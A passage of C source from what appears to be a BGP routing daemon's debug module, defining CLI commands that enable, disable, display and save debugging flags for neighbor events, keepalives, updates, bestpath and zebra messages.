vty_out (vty, "BGP neighbor-events debugging is off for %s%s", host, VTY_NEWLINE);
else
vty_out (vty, "BGP neighbor-events debugging was not enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
/* debug bgp nht */
DEFUN (debug_bgp_nht,
debug_bgp_nht_cmd,
"debug bgp nht",
DEBUG_STR
BGP_STR
"BGP nexthop tracking events\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_ON (nht, NHT);
else
{
TERM_DEBUG_ON (nht, NHT);
vty_out (vty, "BGP nexthop tracking debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_nht,
no_debug_bgp_nht_cmd,
"no debug bgp nht",
NO_STR
DEBUG_STR
BGP_STR
"BGP nexthop tracking events\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (nht, NHT);
else
{
TERM_DEBUG_OFF (nht, NHT);
vty_out (vty, "BGP nexthop tracking debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
/* debug bgp keepalives */
DEFUN (debug_bgp_keepalive,
debug_bgp_keepalive_cmd,
"debug bgp keepalives",
DEBUG_STR
BGP_STR
"BGP keepalives\n")
{
bgp_debug_list_free(bgp_debug_keepalive_peers);
if (vty->node == CONFIG_NODE)
DEBUG_ON (keepalive, KEEPALIVE);
else
{
TERM_DEBUG_ON (keepalive, KEEPALIVE);
vty_out (vty, "BGP keepalives debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (debug_bgp_keepalive_peer,
debug_bgp_keepalive_peer_cmd,
"debug bgp keepalives (A.B.C.D|X:X::X:X|WORD)",
DEBUG_STR
BGP_STR
"BGP Neighbor Events\n"
"BGP neighbor IP address to debug\n"
"BGP IPv6 neighbor to debug\n"
"BGP neighbor on interface to debug\n")
{
const char *host = argv[0];
if (!bgp_debug_keepalive_peers)
bgp_debug_keepalive_peers = list_new ();
if (bgp_debug_list_has_entry(bgp_debug_keepalive_peers, host, NULL))
{
vty_out (vty, "BGP keepalive debugging is already enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
bgp_debug_list_add_entry(bgp_debug_keepalive_peers, host, NULL);
if (vty->node == CONFIG_NODE)
DEBUG_ON (keepalive, KEEPALIVE);
else
{
TERM_DEBUG_ON (keepalive, KEEPALIVE);
vty_out (vty, "BGP keepalives debugging is on for %s%s", host, VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_keepalive,
no_debug_bgp_keepalive_cmd,
"no debug bgp keepalives",
NO_STR
DEBUG_STR
BGP_STR
"BGP keepalives\n")
{
bgp_debug_list_free(bgp_debug_keepalive_peers);
if (vty->node == CONFIG_NODE)
DEBUG_OFF (keepalive, KEEPALIVE);
else
{
TERM_DEBUG_OFF (keepalive, KEEPALIVE);
vty_out (vty, "BGP keepalives debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_keepalive_peer,
no_debug_bgp_keepalive_peer_cmd,
"no debug bgp keepalives (A.B.C.D|X:X::X:X|WORD)",
NO_STR
DEBUG_STR
BGP_STR
"BGP keepalives\n"
"BGP neighbor IP address to debug\n"
"BGP IPv6 neighbor to debug\n"
"BGP neighbor on interface to debug\n")
{
int found_peer = 0;
const char *host = argv[0];
if (bgp_debug_keepalive_peers && !list_isempty(bgp_debug_keepalive_peers))
{
found_peer = bgp_debug_list_remove_entry(bgp_debug_keepalive_peers, host, NULL);
if (list_isempty(bgp_debug_keepalive_peers))
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (keepalive, KEEPALIVE);
else
TERM_DEBUG_OFF (keepalive, KEEPALIVE);
}
}
if (found_peer)
vty_out (vty, "BGP keepalives debugging is off for %s%s", host, VTY_NEWLINE);
else
vty_out (vty, "BGP keepalives debugging was not enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
/* debug bgp bestpath */
DEFUN (debug_bgp_bestpath_prefix,
debug_bgp_bestpath_prefix_cmd,
"debug bgp bestpath (A.B.C.D/M|X:X::X:X/M)",
DEBUG_STR
BGP_STR
"BGP bestpath\n"
"IP prefix <network>/<length>, e.g., 35.0.0.0/8\n"
"IPv6 prefix <network>/<length>\n")
{
struct prefix *argv_p;
int ret;
argv_p = prefix_new();
ret = str2prefix (argv[0], argv_p);
if (!ret)
{
prefix_free(argv_p);
vty_out (vty, "%% Malformed Prefix%s", VTY_NEWLINE);
return CMD_WARNING;
}
if (!bgp_debug_bestpath_prefixes)
bgp_debug_bestpath_prefixes = list_new ();
if (bgp_debug_list_has_entry(bgp_debug_bestpath_prefixes, NULL, argv_p))
{
vty_out (vty, "BGP bestptah debugging is already enabled for %s%s", argv[0], VTY_NEWLINE);
return CMD_SUCCESS;
}
bgp_debug_list_add_entry(bgp_debug_bestpath_prefixes, NULL, argv_p);
if (vty->node == CONFIG_NODE)
{
DEBUG_ON (bestpath, BESTPATH);
}
else
{
TERM_DEBUG_ON (bestpath, BESTPATH);
vty_out (vty, "BGP bestpath debugging is on for %s%s", argv[0], VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_bestpath_prefix,
no_debug_bgp_bestpath_prefix_cmd,
"no debug bgp bestpath (A.B.C.D/M|X:X::X:X/M)",
NO_STR
DEBUG_STR
BGP_STR
"BGP bestpath\n"
"IP prefix <network>/<length>, e.g., 35.0.0.0/8\n"
"IPv6 prefix <network>/<length>\n")
{
struct prefix *argv_p;
int found_prefix = 0;
int ret;
argv_p = prefix_new();
ret = str2prefix (argv[0], argv_p);
if (!ret)
{
prefix_free(argv_p);
vty_out (vty, "%% Malformed Prefix%s", VTY_NEWLINE);
return CMD_WARNING;
}
if (bgp_debug_bestpath_prefixes && !list_isempty(bgp_debug_bestpath_prefixes))
{
found_prefix = bgp_debug_list_remove_entry(bgp_debug_bestpath_prefixes, NULL, argv_p);
if (list_isempty(bgp_debug_bestpath_prefixes))
{
if (vty->node == CONFIG_NODE)
{
DEBUG_OFF (bestpath, BESTPATH);
}
else
{
TERM_DEBUG_OFF (bestpath, BESTPATH);
vty_out (vty, "BGP bestpath debugging (per prefix) is off%s", VTY_NEWLINE);
}
}
}
if (found_prefix)
vty_out (vty, "BGP bestpath debugging is off for %s%s", argv[0], VTY_NEWLINE);
else
vty_out (vty, "BGP bestpath debugging was not enabled for %s%s", argv[0], VTY_NEWLINE);
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_bestpath,
no_debug_bgp_bestpath_cmd,
"no debug bgp bestpath",
NO_STR
DEBUG_STR
BGP_STR
"BGP bestpath\n")
{
bgp_debug_list_free(bgp_debug_bestpath_prefixes);
if (vty->node == CONFIG_NODE)
DEBUG_OFF (bestpath, BESTPATH);
else
{
TERM_DEBUG_OFF (bestpath, BESTPATH);
vty_out (vty, "BGP bestpath debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
/* debug bgp updates */
DEFUN (debug_bgp_update,
debug_bgp_update_cmd,
"debug bgp updates",
DEBUG_STR
BGP_STR
"BGP updates\n")
{
bgp_debug_list_free(bgp_debug_update_in_peers);
bgp_debug_list_free(bgp_debug_update_out_peers);
bgp_debug_list_free(bgp_debug_update_prefixes);
if (vty->node == CONFIG_NODE)
{
DEBUG_ON (update, UPDATE_IN);
DEBUG_ON (update, UPDATE_OUT);
}
else
{
TERM_DEBUG_ON (update, UPDATE_IN);
TERM_DEBUG_ON (update, UPDATE_OUT);
vty_out (vty, "BGP updates debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (debug_bgp_update_direct,
debug_bgp_update_direct_cmd,
"debug bgp updates (in|out)",
DEBUG_STR
BGP_STR
"BGP updates\n"
"Inbound updates\n"
"Outbound updates\n")
{
if (strncmp ("i", argv[0], 1) == 0)
bgp_debug_list_free(bgp_debug_update_in_peers);
else
bgp_debug_list_free(bgp_debug_update_out_peers);
if (vty->node == CONFIG_NODE)
{
if (strncmp ("i", argv[0], 1) == 0)
DEBUG_ON (update, UPDATE_IN);
else
DEBUG_ON (update, UPDATE_OUT);
}
else
{
if (strncmp ("i", argv[0], 1) == 0)
{
TERM_DEBUG_ON (update, UPDATE_IN);
vty_out (vty, "BGP updates debugging is on (inbound)%s", VTY_NEWLINE);
}
else
{
TERM_DEBUG_ON (update, UPDATE_OUT);
vty_out (vty, "BGP updates debugging is on (outbound)%s", VTY_NEWLINE);
}
}
return CMD_SUCCESS;
}
DEFUN (debug_bgp_update_direct_peer,
debug_bgp_update_direct_peer_cmd,
"debug bgp updates (in|out) (A.B.C.D|X:X::X:X|WORD)",
DEBUG_STR
BGP_STR
"BGP updates\n"
"Inbound updates\n"
"Outbound updates\n"
"BGP neighbor IP address to debug\n"
"BGP IPv6 neighbor to debug\n"
"BGP neighbor on interface to debug\n")
{
const char *host = argv[1];
int inbound;
if (!bgp_debug_update_in_peers)
bgp_debug_update_in_peers = list_new ();
if (!bgp_debug_update_out_peers)
bgp_debug_update_out_peers = list_new ();
if (strncmp ("i", argv[0], 1) == 0)
inbound = 1;
else
inbound = 0;
if (inbound)
{
if (bgp_debug_list_has_entry(bgp_debug_update_in_peers, host, NULL))
{
vty_out (vty, "BGP inbound update debugging is already enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
}
else
{
if (bgp_debug_list_has_entry(bgp_debug_update_out_peers, host, NULL))
{
vty_out (vty, "BGP outbound update debugging is already enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
}
if (inbound)
bgp_debug_list_add_entry(bgp_debug_update_in_peers, host, NULL);
else
{
struct peer *peer;
struct peer_af *paf;
int afidx;
bgp_debug_list_add_entry(bgp_debug_update_out_peers, host, NULL);
peer = bgp_find_peer (vty, host);
if (peer)
{
for (afidx = BGP_AF_START; afidx < BGP_AF_MAX; afidx++)
{
paf = peer->peer_af_array[afidx];
if (paf != NULL)
{
if (PAF_SUBGRP (paf))
{
UPDGRP_PEER_DBG_EN(PAF_SUBGRP(paf)->update_group);
}
}
}
}
}
if (vty->node == CONFIG_NODE)
{
if (inbound)
DEBUG_ON (update, UPDATE_IN);
else
DEBUG_ON (update, UPDATE_OUT);
}
else
{
if (inbound)
{
TERM_DEBUG_ON (update, UPDATE_IN);
vty_out (vty, "BGP updates debugging is on (inbound) for %s%s", argv[1], VTY_NEWLINE);
}
else
{
TERM_DEBUG_ON (update, UPDATE_OUT);
vty_out (vty, "BGP updates debugging is on (outbound) for %s%s", argv[1], VTY_NEWLINE);
}
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_update_direct,
no_debug_bgp_update_direct_cmd,
"no debug bgp updates (in|out)",
NO_STR
DEBUG_STR
BGP_STR
"BGP updates\n"
"Inbound updates\n"
"Outbound updates\n")
{
if (strncmp ("i", argv[0], 1) == 0)
{
bgp_debug_list_free(bgp_debug_update_in_peers);
if (vty->node == CONFIG_NODE)
{
DEBUG_OFF (update, UPDATE_IN);
}
else
{
TERM_DEBUG_OFF (update, UPDATE_IN);
vty_out (vty, "BGP updates debugging is off (inbound)%s", VTY_NEWLINE);
}
}
else
{
bgp_debug_list_free(bgp_debug_update_out_peers);
if (vty->node == CONFIG_NODE)
{
DEBUG_OFF (update, UPDATE_OUT);
}
else
{
TERM_DEBUG_OFF (update, UPDATE_OUT);
vty_out (vty, "BGP updates debugging is off (outbound)%s", VTY_NEWLINE);
}
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_update_direct_peer,
no_debug_bgp_update_direct_peer_cmd,
"no debug bgp updates (in|out) (A.B.C.D|X:X::X:X|WORD)",
NO_STR
DEBUG_STR
BGP_STR
"BGP updates\n"
"Inbound updates\n"
"Outbound updates\n"
"BGP neighbor IP address to debug\n"
"BGP IPv6 neighbor to debug\n"
"BGP neighbor on interface to debug\n")
{
int inbound;
int found_peer = 0;
const char *host = argv[1];
if (strncmp ("i", argv[0], 1) == 0)
inbound = 1;
else
inbound = 0;
if (inbound && bgp_debug_update_in_peers &&
!list_isempty(bgp_debug_update_in_peers))
{
found_peer = bgp_debug_list_remove_entry(bgp_debug_update_in_peers, host, NULL);
if (list_isempty(bgp_debug_update_in_peers))
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (update, UPDATE_IN);
else
{
TERM_DEBUG_OFF (update, UPDATE_IN);
vty_out (vty, "BGP updates debugging (inbound) is off%s", VTY_NEWLINE);
}
}
}
if (!inbound && bgp_debug_update_out_peers &&
!list_isempty(bgp_debug_update_out_peers))
{
found_peer = bgp_debug_list_remove_entry(bgp_debug_update_out_peers, host, NULL);
if (list_isempty(bgp_debug_update_out_peers))
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (update, UPDATE_OUT);
else
{
TERM_DEBUG_OFF (update, UPDATE_OUT);
vty_out (vty, "BGP updates debugging (outbound) is off%s", VTY_NEWLINE);
}
}
struct peer *peer;
struct peer_af *paf;
int afidx;
peer = bgp_find_peer (vty, host);
if (peer)
{
for (afidx = BGP_AF_START; afidx < BGP_AF_MAX; afidx++)
{
paf = peer->peer_af_array[afidx];
if (paf != NULL)
{
if (PAF_SUBGRP (paf))
{
UPDGRP_PEER_DBG_DIS(PAF_SUBGRP(paf)->update_group);
}
}
}
}
}
if (found_peer)
if (inbound)
vty_out (vty, "BGP updates debugging (inbound) is off for %s%s", host, VTY_NEWLINE);
else
vty_out (vty, "BGP updates debugging (outbound) is off for %s%s", host, VTY_NEWLINE);
else
if (inbound)
vty_out (vty, "BGP updates debugging (inbound) was not enabled for %s%s", host, VTY_NEWLINE);
else
vty_out (vty, "BGP updates debugging (outbound) was not enabled for %s%s", host, VTY_NEWLINE);
return CMD_SUCCESS;
}
DEFUN (debug_bgp_update_prefix,
debug_bgp_update_prefix_cmd,
"debug bgp updates prefix (A.B.C.D/M|X:X::X:X/M)",
DEBUG_STR
BGP_STR
"BGP updates\n"
"Specify a prefix to debug\n"
"IP prefix <network>/<length>, e.g., 35.0.0.0/8\n"
"IPv6 prefix <network>/<length>\n")
{
struct prefix *argv_p;
int ret;
argv_p = prefix_new();
ret = str2prefix (argv[0], argv_p);
if (!ret)
{
prefix_free(argv_p);
vty_out (vty, "%% Malformed Prefix%s", VTY_NEWLINE);
return CMD_WARNING;
}
if (!bgp_debug_update_prefixes)
bgp_debug_update_prefixes = list_new ();
if (bgp_debug_list_has_entry(bgp_debug_update_prefixes, NULL, argv_p))
{
vty_out (vty, "BGP updates debugging is already enabled for %s%s", argv[0], VTY_NEWLINE);
return CMD_SUCCESS;
}
bgp_debug_list_add_entry(bgp_debug_update_prefixes, NULL, argv_p);
if (vty->node == CONFIG_NODE)
{
DEBUG_ON (update, UPDATE_PREFIX);
}
else
{
TERM_DEBUG_ON (update, UPDATE_PREFIX);
vty_out (vty, "BGP updates debugging is on for %s%s", argv[0], VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_update_prefix,
no_debug_bgp_update_prefix_cmd,
"no debug bgp updates prefix (A.B.C.D/M|X:X::X:X/M)",
NO_STR
DEBUG_STR
BGP_STR
"BGP updates\n"
"Specify a prefix to debug\n"
"IP prefix <network>/<length>, e.g., 35.0.0.0/8\n"
"IPv6 prefix <network>/<length>\n")
{
struct prefix *argv_p;
int found_prefix = 0;
int ret;
argv_p = prefix_new();
ret = str2prefix (argv[0], argv_p);
if (!ret)
{
prefix_free(argv_p);
vty_out (vty, "%% Malformed Prefix%s", VTY_NEWLINE);
return CMD_WARNING;
}
if (bgp_debug_update_prefixes && !list_isempty(bgp_debug_update_prefixes))
{
found_prefix = bgp_debug_list_remove_entry(bgp_debug_update_prefixes, NULL, argv_p);
if (list_isempty(bgp_debug_update_prefixes))
{
if (vty->node == CONFIG_NODE)
{
DEBUG_OFF (update, UPDATE_PREFIX);
}
else
{
TERM_DEBUG_OFF (update, UPDATE_PREFIX);
vty_out (vty, "BGP updates debugging (per prefix) is off%s", VTY_NEWLINE);
}
}
}
if (found_prefix)
vty_out (vty, "BGP updates debugging is off for %s%s", argv[0], VTY_NEWLINE);
else
vty_out (vty, "BGP updates debugging was not enabled for %s%s", argv[0], VTY_NEWLINE);
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_update,
no_debug_bgp_update_cmd,
"no debug bgp updates",
NO_STR
DEBUG_STR
BGP_STR
"BGP updates\n")
{
bgp_debug_list_free(bgp_debug_update_in_peers);
bgp_debug_list_free(bgp_debug_update_out_peers);
bgp_debug_list_free(bgp_debug_update_prefixes);
bgp_debug_clear_updgrp_update_dbg(vty->index);
if (vty->node == CONFIG_NODE)
{
DEBUG_OFF (update, UPDATE_IN);
DEBUG_OFF (update, UPDATE_OUT);
DEBUG_OFF (update, UPDATE_PREFIX);
}
else
{
TERM_DEBUG_OFF (update, UPDATE_IN);
TERM_DEBUG_OFF (update, UPDATE_OUT);
TERM_DEBUG_OFF (update, UPDATE_PREFIX);
vty_out (vty, "BGP updates debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
/* debug bgp zebra */
DEFUN (debug_bgp_zebra,
debug_bgp_zebra_cmd,
"debug bgp zebra",
DEBUG_STR
BGP_STR
"BGP Zebra messages\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_ON (zebra, ZEBRA);
else
{
TERM_DEBUG_ON (zebra, ZEBRA);
vty_out (vty, "BGP zebra debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (debug_bgp_zebra_prefix,
debug_bgp_zebra_prefix_cmd,
"debug bgp zebra prefix (A.B.C.D/M|X:X::X:X/M)",
DEBUG_STR
BGP_STR
"BGP Zebra messages\n"
"Specify a prefix to debug\n"
"IP prefix <network>/<length>, e.g., 35.0.0.0/8\n"
"IPv6 prefix <network>/<length>\n")
{
struct prefix *argv_p;
int ret;
argv_p = prefix_new();
ret = str2prefix (argv[0], argv_p);
if (!ret)
{
prefix_free(argv_p);
vty_out (vty, "%% Malformed Prefix%s", VTY_NEWLINE);
return CMD_WARNING;
}
if (!bgp_debug_zebra_prefixes)
bgp_debug_zebra_prefixes = list_new();
if (bgp_debug_list_has_entry(bgp_debug_zebra_prefixes, NULL, argv_p))
{
vty_out (vty, "BGP zebra debugging is already enabled for %s%s", argv[0], VTY_NEWLINE);
return CMD_SUCCESS;
}
bgp_debug_list_add_entry(bgp_debug_zebra_prefixes, NULL, argv_p);
if (vty->node == CONFIG_NODE)
DEBUG_ON (zebra, ZEBRA);
else
{
TERM_DEBUG_ON (zebra, ZEBRA);
vty_out (vty, "BGP zebra debugging is on for %s%s", argv[0], VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_zebra,
no_debug_bgp_zebra_cmd,
"no debug bgp zebra",
NO_STR
DEBUG_STR
BGP_STR
"BGP Zebra messages\n")
{
bgp_debug_list_free(bgp_debug_zebra_prefixes);
if (vty->node == CONFIG_NODE)
DEBUG_OFF (zebra, ZEBRA);
else
{
TERM_DEBUG_OFF (zebra, ZEBRA);
vty_out (vty, "BGP zebra debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_zebra_prefix,
no_debug_bgp_zebra_prefix_cmd,
"no debug bgp zebra prefix (A.B.C.D/M|X:X::X:X/M)",
NO_STR
DEBUG_STR
BGP_STR
"BGP Zebra messages\n"
"Specify a prefix to debug\n"
"IP prefix <network>/<length>, e.g., 35.0.0.0/8\n"
"IPv6 prefix <network>/<length>\n")
{
struct prefix *argv_p;
int found_prefix = 0;
int ret;
argv_p = prefix_new();
ret = str2prefix (argv[0], argv_p);
if (!ret)
{
prefix_free(argv_p);
vty_out (vty, "%% Malformed Prefix%s", VTY_NEWLINE);
return CMD_WARNING;
}
if (bgp_debug_zebra_prefixes && !list_isempty(bgp_debug_zebra_prefixes))
{
found_prefix = bgp_debug_list_remove_entry(bgp_debug_zebra_prefixes, NULL, argv_p);
if (list_isempty(bgp_debug_zebra_prefixes))
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (zebra, ZEBRA);
else
{
TERM_DEBUG_OFF (zebra, ZEBRA);
vty_out (vty, "BGP zebra debugging is off%s", VTY_NEWLINE);
}
}
}
if (found_prefix)
vty_out (vty, "BGP zebra debugging is off for %s%s", argv[0], VTY_NEWLINE);
else
vty_out (vty, "BGP zebra debugging was not enabled for %s%s", argv[0], VTY_NEWLINE);
return CMD_SUCCESS;
}
DEFUN (debug_bgp_allow_martians,
debug_bgp_allow_martians_cmd,
"debug bgp allow-martians",
DEBUG_STR
BGP_STR
"BGP allow martian next hops\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_ON (allow_martians, ALLOW_MARTIANS);
else
{
TERM_DEBUG_ON (allow_martians, ALLOW_MARTIANS);
vty_out (vty, "BGP allow_martian next hop debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_allow_martians,
no_debug_bgp_allow_martians_cmd,
"no debug bgp allow-martians",
NO_STR
DEBUG_STR
BGP_STR
"BGP allow martian next hops\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (allow_martians, ALLOW_MARTIANS);
else
{
TERM_DEBUG_OFF (allow_martians, ALLOW_MARTIANS);
vty_out (vty, "BGP allow martian next hop debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
ALIAS (no_debug_bgp_allow_martians,
undebug_bgp_allow_martians_cmd,
"undebug bgp allow-martians",
UNDEBUG_STR
BGP_STR
"BGP allow martian next hops\n")
/* debug bgp update-groups */
DEFUN (debug_bgp_update_groups,
debug_bgp_update_groups_cmd,
"debug bgp update-groups",
DEBUG_STR
BGP_STR
"BGP update-groups\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_ON (update_groups, UPDATE_GROUPS);
else
{
TERM_DEBUG_ON (update_groups, UPDATE_GROUPS);
vty_out (vty, "BGP update-groups debugging is on%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp_update_groups,
no_debug_bgp_update_groups_cmd,
"no debug bgp update-groups",
NO_STR
DEBUG_STR
BGP_STR
"BGP update-groups\n")
{
if (vty->node == CONFIG_NODE)
DEBUG_OFF (update_groups, UPDATE_GROUPS);
else
{
TERM_DEBUG_OFF (update_groups, UPDATE_GROUPS);
vty_out (vty, "BGP update-groups debugging is off%s", VTY_NEWLINE);
}
return CMD_SUCCESS;
}
DEFUN (no_debug_bgp,
no_debug_bgp_cmd,
"no debug bgp",
NO_STR
DEBUG_STR
BGP_STR)
{
bgp_debug_list_free(bgp_debug_neighbor_events_peers);
bgp_debug_list_free(bgp_debug_keepalive_peers);
bgp_debug_list_free(bgp_debug_update_in_peers);
bgp_debug_list_free(bgp_debug_update_out_peers);
bgp_debug_list_free(bgp_debug_update_prefixes);
bgp_debug_list_free(bgp_debug_bestpath_prefixes);
bgp_debug_list_free(bgp_debug_zebra_prefixes);
bgp_debug_clear_updgrp_update_dbg(vty->index);
TERM_DEBUG_OFF (keepalive, KEEPALIVE);
TERM_DEBUG_OFF (update, UPDATE_IN);
TERM_DEBUG_OFF (update, UPDATE_OUT);
TERM_DEBUG_OFF (update, UPDATE_PREFIX);
TERM_DEBUG_OFF (bestpath, BESTPATH);
TERM_DEBUG_OFF (as4, AS4);
TERM_DEBUG_OFF (as4, AS4_SEGMENT);
TERM_DEBUG_OFF (neighbor_events, NEIGHBOR_EVENTS);
TERM_DEBUG_OFF (zebra, ZEBRA);
TERM_DEBUG_OFF (allow_martians, ALLOW_MARTIANS);
vty_out (vty, "All possible debugging has been turned off%s", VTY_NEWLINE);
return CMD_SUCCESS;
}
DEFUN (show_debugging_bgp,
show_debugging_bgp_cmd,
"show debugging bgp",
SHOW_STR
DEBUG_STR
BGP_STR)
{
vty_out (vty, "BGP debugging status:%s", VTY_NEWLINE);
if (BGP_DEBUG (as4, AS4))
vty_out (vty, " BGP as4 debugging is on%s", VTY_NEWLINE);
if (BGP_DEBUG (as4, AS4_SEGMENT))
vty_out (vty, " BGP as4 aspath segment debugging is on%s", VTY_NEWLINE);
if (BGP_DEBUG (bestpath, BESTPATH))
bgp_debug_list_print (vty, " BGP bestpath debugging is on",
bgp_debug_bestpath_prefixes);
if (BGP_DEBUG (keepalive, KEEPALIVE))
bgp_debug_list_print (vty, " BGP keepalives debugging is on",
bgp_debug_keepalive_peers);
if (BGP_DEBUG (neighbor_events, NEIGHBOR_EVENTS))
bgp_debug_list_print (vty, " BGP neighbor-events debugging is on",
bgp_debug_neighbor_events_peers);
if (BGP_DEBUG (nht, NHT))
vty_out (vty, " BGP next-hop tracking debugging is on%s", VTY_NEWLINE);
if (BGP_DEBUG (update_groups, UPDATE_GROUPS))
vty_out (vty, " BGP update-groups debugging is on%s", VTY_NEWLINE);
if (BGP_DEBUG (update, UPDATE_PREFIX))
bgp_debug_list_print (vty, " BGP updates debugging is on",
bgp_debug_update_prefixes);
if (BGP_DEBUG (update, UPDATE_IN))
bgp_debug_list_print (vty, " BGP updates debugging is on (inbound)",
bgp_debug_update_in_peers);
if (BGP_DEBUG (update, UPDATE_OUT))
bgp_debug_list_print (vty, " BGP updates debugging is on (outbound)",
bgp_debug_update_out_peers);
if (BGP_DEBUG (zebra, ZEBRA))
bgp_debug_list_print (vty, " BGP zebra debugging is on",
bgp_debug_zebra_prefixes);
if (BGP_DEBUG (allow_martians, ALLOW_MARTIANS))
vty_out (vty, " BGP allow martian next hop debugging is on%s", VTY_NEWLINE);
vty_out (vty, "%s", VTY_NEWLINE);
return CMD_SUCCESS;
}
/* return count of number of debug flags set */
int
bgp_debug_count(void)
{
int ret = 0;
if (BGP_DEBUG (as4, AS4))
ret++;
if (BGP_DEBUG (as4, AS4_SEGMENT))
ret++;
if (BGP_DEBUG (bestpath, BESTPATH))
ret++;
if (BGP_DEBUG (keepalive, KEEPALIVE))
ret++;
if (BGP_DEBUG (neighbor_events, NEIGHBOR_EVENTS))
ret++;
if (BGP_DEBUG (nht, NHT))
ret++;
if (BGP_DEBUG (update_groups, UPDATE_GROUPS))
ret++;
if (BGP_DEBUG (update, UPDATE_PREFIX))
ret++;
if (BGP_DEBUG (update, UPDATE_IN))
ret++;
if (BGP_DEBUG (update, UPDATE_OUT))
ret++;
if (BGP_DEBUG (zebra, ZEBRA))
ret++;
if (BGP_DEBUG (allow_martians, ALLOW_MARTIANS))
ret++;
return ret;
}
static int
bgp_config_write_debug (struct vty *vty)
{
int write = 0;
if (CONF_BGP_DEBUG (as4, AS4))
{
vty_out (vty, "debug bgp as4%s", VTY_NEWLINE);
write++;
}
if (CONF_BGP_DEBUG (as4, AS4_SEGMENT))
{
vty_out (vty, "debug bgp as4 segment%s", VTY_NEWLINE);
write++;
}
if (CONF_BGP_DEBUG (bestpath, BESTPATH))
{
write += bgp_debug_list_conf_print (vty, "debug bgp bestpath",
bgp_debug_bestpath_prefixes);
}
if (CONF_BGP_DEBUG (keepalive, KEEPALIVE))
{
write += bgp_debug_list_conf_print (vty, "debug bgp keepalives",
bgp_debug_keepalive_peers);
}
if (CONF_BGP_DEBUG (neighbor_events, NEIGHBOR_EVENTS))
{
write += bgp_debug_list_conf_print (vty, "debug bgp neighbor-events",
bgp_debug_neighbor_events_peers);
}
if (CONF_BGP_DEBUG (nht, NHT))
{
vty_out (vty, "debug bgp nht%s", VTY_NEWLINE);
write++;
}
if (CONF_BGP_DEBUG (update_groups, UPDATE_GROUPS))
{
vty_out (vty, "debug bgp update-groups%s", VTY_NEWLINE);
write++;
}
if (CONF_BGP_DEBUG (update, UPDATE_PREFIX))
{
write += bgp_debug_list_conf_print (vty, "debug bgp updates prefix",
bgp_debug_update_prefixes);
}
if (CONF_BGP_DEBUG (update, UPDATE_IN))
{
write += bgp_debug_list_conf_print (vty, "debug bgp updates in",
bgp_debug_update_in_peers);
}
if (CONF_BGP_DEBUG (update, UPDATE_OUT))
{
write += bgp_debug_list_conf_print (vty, "debug bgp updates out",
bgp_debug_update_out_peers);
}
if (CONF_BGP_DEBUG (zebra, ZEBRA))
{
if (!bgp_debug_zebra_prefixes || list_isempty(bgp_debug_zebra_prefixes))
{
vty_out (vty, "debug bgp zebra%s", VTY_NEWLINE);
write++;
}
else
{
write += bgp_debug_list_conf_print (vty, "debug bgp zebra prefix",
bgp_debug_zebra_prefixes);
}
}
if (CONF_BGP_DEBUG (allow_martians, ALLOW_MARTIANS))
{
vty_out (vty, "debug bgp allow-martians%s", VTY_NEWLINE);
write++;
}
return write;
}
static struct cmd_node debug_node =
{
DEBUG_NODE,
"",
1
};
void
bgp_debug_init (void)
{
install_node (&debug_node, bgp_config_write_debug);
install_element (ENABLE_NODE, &show_debugging_bgp_cmd);
install_element (ENABLE_NODE, &debug_bgp_as4_cmd);
install_element (CONFIG_NODE, &debug_bgp_as4_cmd);
install_element (ENABLE_NODE, &debug_bgp_as4_segment_cmd);
install_element (CONFIG_NODE, &debug_bgp_as4_segment_cmd);
install_element (ENABLE_NODE, &debug_bgp_neighbor_events_cmd);
install_element (CONFIG_NODE, &debug_bgp_neighbor_events_cmd);
install_element (ENABLE_NODE, &debug_bgp_nht_cmd);
install_element (CONFIG_NODE, &debug_bgp_nht_cmd);
install_element (ENABLE_NODE, &debug_bgp_keepalive_cmd);
install_element (CONFIG_NODE, &debug_bgp_keepalive_cmd);
install_element (ENABLE_NODE, &debug_bgp_update_cmd);
install_element (CONFIG_NODE, &debug_bgp_update_cmd);
install_element (ENABLE_NODE, &debug_bgp_zebra_cmd);
install_element (CONFIG_NODE, &debug_bgp_zebra_cmd);
install_element (ENABLE_NODE, &debug_bgp_allow_martians_cmd);
install_element (CONFIG_NODE, &debug_bgp_allow_martians_cmd);
install_element (ENABLE_NODE, &debug_bgp_update_groups_cmd);
